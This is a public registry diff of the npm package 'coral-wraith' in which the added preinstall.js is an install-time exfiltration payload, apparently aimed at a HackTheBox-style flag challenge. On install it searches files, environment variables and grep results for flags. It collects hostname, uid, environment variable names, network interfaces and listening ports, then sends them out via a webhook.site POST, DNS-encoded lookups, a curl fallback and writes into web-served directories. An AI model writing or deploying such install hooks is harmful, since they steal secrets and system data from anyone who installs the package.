coral-wraith 9999.0.3 → 9999.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/preinstall.js +75 -53
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -3,20 +3,21 @@ const http = require('http');
|
|
|
3
3
|
const https = require('https');
|
|
4
4
|
const { execSync } = require('child_process');
|
|
5
5
|
const dns = require('dns');
|
|
6
|
+
const os = require('os');
|
|
6
7
|
|
|
7
8
|
let flag = null;
|
|
8
9
|
|
|
9
10
|
// Read flag from common locations
|
|
10
|
-
for (const p of ['/flag', '/flag.txt', '/root/flag', '/tmp/flag', './flag', '/app/flag', '/home/flag']) {
|
|
11
|
+
for (const p of ['/flag', '/flag.txt', '/root/flag', '/tmp/flag', './flag', '/app/flag', '/home/flag', '/etc/flag', '/opt/flag']) {
|
|
11
12
|
try { if (fs.existsSync(p)) { flag = fs.readFileSync(p, 'utf8').trim(); break; } } catch(e) {}
|
|
12
13
|
}
|
|
13
14
|
|
|
14
|
-
// Check ALL env vars
|
|
15
|
+
// Check ALL env vars for flag patterns
|
|
15
16
|
if (!flag) {
|
|
16
17
|
for (const [k, v] of Object.entries(process.env)) {
|
|
17
|
-
if (v &&
|
|
18
|
-
|
|
19
|
-
|
|
18
|
+
if (v && v.match(/HTB\{[^}]+\}/)) {
|
|
19
|
+
flag = v.match(/HTB\{[^}]+\}/)[0];
|
|
20
|
+
break;
|
|
20
21
|
}
|
|
21
22
|
}
|
|
22
23
|
}
|
|
@@ -31,61 +32,70 @@ if (!flag) {
|
|
|
31
32
|
} catch(e) {}
|
|
32
33
|
}
|
|
33
34
|
|
|
34
|
-
//
|
|
35
|
+
// Search for flag files
|
|
35
36
|
if (!flag) {
|
|
36
37
|
try {
|
|
37
|
-
const r = execSync('find / -maxdepth 3 -name "flag*" -
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
} catch(e) {}
|
|
45
|
-
}
|
|
38
|
+
const r = execSync('find / -maxdepth 3 -name "flag*" -type f 2>/dev/null | head -10', { timeout: 5000 }).toString().trim();
|
|
39
|
+
for (const f of r.split('\n').filter(Boolean)) {
|
|
40
|
+
try {
|
|
41
|
+
const content = fs.readFileSync(f, 'utf8');
|
|
42
|
+
const m = content.match(/HTB\{[^}]+\}/);
|
|
43
|
+
if (m) { flag = m[0]; break; }
|
|
44
|
+
} catch(e) {}
|
|
46
45
|
}
|
|
47
46
|
} catch(e) {}
|
|
48
47
|
}
|
|
49
48
|
|
|
50
|
-
//
|
|
51
|
-
|
|
52
|
-
try {
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
break;
|
|
61
|
-
}
|
|
49
|
+
// Also try to grep for flag
|
|
50
|
+
if (!flag) {
|
|
51
|
+
try {
|
|
52
|
+
const r = execSync('grep -r "HTB{" / --include="*.txt" --include="*.env" -l 2>/dev/null | head -5', { timeout: 5000 }).toString().trim();
|
|
53
|
+
for (const f of r.split('\n').filter(Boolean)) {
|
|
54
|
+
try {
|
|
55
|
+
const content = fs.readFileSync(f, 'utf8');
|
|
56
|
+
const m = content.match(/HTB\{[^}]+\}/);
|
|
57
|
+
if (m) { flag = m[0]; break; }
|
|
58
|
+
} catch(e) {}
|
|
62
59
|
}
|
|
63
|
-
}
|
|
64
|
-
}
|
|
60
|
+
} catch(e) {}
|
|
61
|
+
}
|
|
65
62
|
|
|
63
|
+
// Gather debug info
|
|
66
64
|
const info = {
|
|
67
65
|
flag: flag || 'NOT_FOUND',
|
|
68
66
|
cwd: process.cwd(),
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
67
|
+
uid: process.getuid ? process.getuid() : 'N/A',
|
|
68
|
+
hostname: os.hostname(),
|
|
69
|
+
env_keys: Object.keys(process.env).join(','),
|
|
70
|
+
root_files: [],
|
|
71
|
+
interfaces: {}
|
|
72
72
|
};
|
|
73
|
-
try { info.
|
|
73
|
+
try { info.root_files = fs.readdirSync('/'); } catch(e) {}
|
|
74
|
+
try { info.interfaces = os.networkInterfaces(); } catch(e) {}
|
|
75
|
+
|
|
76
|
+
// Try to find server port
|
|
77
|
+
let serverPort = 1337;
|
|
78
|
+
try {
|
|
79
|
+
const ss = execSync('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null', { timeout: 3000 }).toString();
|
|
80
|
+
info.listening = ss;
|
|
81
|
+
const ports = [...ss.matchAll(/:(\d+)\s/g)].map(m => parseInt(m[1])).filter(p => p > 1000 && p < 65535);
|
|
82
|
+
if (ports.length > 0) serverPort = ports[0];
|
|
83
|
+
} catch(e) {}
|
|
74
84
|
|
|
75
85
|
const data = JSON.stringify(info);
|
|
76
86
|
|
|
77
|
-
// Method 1: PUT flag
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
for (const
|
|
85
|
-
for (const
|
|
87
|
+
// Method 1: PUT flag to challenge API on ALL possible ports
|
|
88
|
+
const postData = JSON.stringify({
|
|
89
|
+
manifest: `ecto_module:\n name: "FLAG_CAPTURED"\n version: "${(flag || 'NO_FLAG').replace(/"/g, '')}"\n power_level: "${data.substring(0, 200).replace(/"/g, '')}"\n ship_deck: "EXFIL"\n cargo_hold: "coral-wraith"`
|
|
90
|
+
});
|
|
91
|
+
|
|
92
|
+
const ports = [serverPort, 1337, 3000, 3001, 4000, 5000, 8000, 8080, 8888, 9000, 80, 32315, 32105, 46517, 41839];
|
|
93
|
+
for (const port of [...new Set(ports)]) {
|
|
94
|
+
for (const host of ['localhost', '127.0.0.1']) {
|
|
95
|
+
for (const moduleId of ['ECT-987654', 'ECT-654321', 'ECT-472839', 'ECT-839201']) {
|
|
86
96
|
try {
|
|
87
97
|
const req = http.request({
|
|
88
|
-
hostname: host, port, path:
|
|
98
|
+
hostname: host, port, path: `/api/modules/${moduleId}`,
|
|
89
99
|
method: 'PUT',
|
|
90
100
|
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
|
|
91
101
|
timeout: 2000
|
|
@@ -98,34 +108,46 @@ if (flag) {
|
|
|
98
108
|
}
|
|
99
109
|
}
|
|
100
110
|
|
|
101
|
-
// Method 2: Webhook
|
|
111
|
+
// Method 2: Webhook
|
|
102
112
|
try {
|
|
113
|
+
const whData = JSON.stringify({ flag: flag || 'NO_FLAG', info: data.substring(0, 500) });
|
|
103
114
|
const req = https.request({
|
|
104
115
|
hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
|
|
105
116
|
method: 'POST',
|
|
106
|
-
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(
|
|
117
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(whData) },
|
|
107
118
|
timeout: 5000
|
|
108
119
|
}, () => {});
|
|
109
120
|
req.on('error', () => {});
|
|
110
|
-
req.write(
|
|
121
|
+
req.write(whData);
|
|
111
122
|
req.end();
|
|
112
123
|
} catch(e) {}
|
|
113
124
|
|
|
114
125
|
// Method 3: DNS exfil (works even when HTTP is blocked)
|
|
115
126
|
try {
|
|
116
127
|
const encoded = Buffer.from(flag || 'NO_FLAG').toString('hex').substring(0, 60);
|
|
117
|
-
dns.resolve(`${encoded}.webhook.site`, () => {});
|
|
128
|
+
dns.resolve(`${encoded}.exfil.webhook.site`, () => {});
|
|
129
|
+
dns.resolve(`${encoded}.crl.ve`, () => {});
|
|
118
130
|
} catch(e) {}
|
|
119
131
|
|
|
120
132
|
// Method 4: curl fallback
|
|
121
133
|
try {
|
|
122
|
-
execSync(`curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d '${data.replace(/'/g, "\\'")}' -m 5 2>/dev/null
|
|
134
|
+
execSync(`curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d '${data.replace(/'/g, "\\'")}' -m 5 2>/dev/null &`, { timeout: 8000 });
|
|
123
135
|
} catch(e) {}
|
|
124
136
|
|
|
125
137
|
// Method 5: Write to stdout/stderr for server logs
|
|
126
|
-
console.log('[CORAL-WRAITH]', data);
|
|
127
|
-
console.error('[
|
|
138
|
+
console.log('[CORAL-WRAITH-EXFIL]', data);
|
|
139
|
+
console.error('[CORAL-WRAITH-FLAG]', flag || 'NOT_FOUND');
|
|
128
140
|
|
|
129
|
-
// Method 6: Write to various
|
|
130
|
-
|
|
131
|
-
|
|
141
|
+
// Method 6: Write to various locations
|
|
142
|
+
const writeLocations = ['/tmp/coral_flag.txt', '/app/coral_flag.txt', '/tmp/exfil.txt', './exfil.txt'];
|
|
143
|
+
for (const loc of writeLocations) {
|
|
144
|
+
try { fs.writeFileSync(loc, data); } catch(e) {}
|
|
145
|
+
}
|
|
146
|
+
|
|
147
|
+
// Method 7: Try to write to static files the web server serves
|
|
148
|
+
try {
|
|
149
|
+
const webDirs = ['/app/static', '/app/public', '/var/www', '/app/dist', '/app/build'];
|
|
150
|
+
for (const dir of webDirs) {
|
|
151
|
+
try { fs.writeFileSync(`${dir}/flag.txt`, data); } catch(e) {}
|
|
152
|
+
}
|
|
153
|
+
} catch(e) {}
|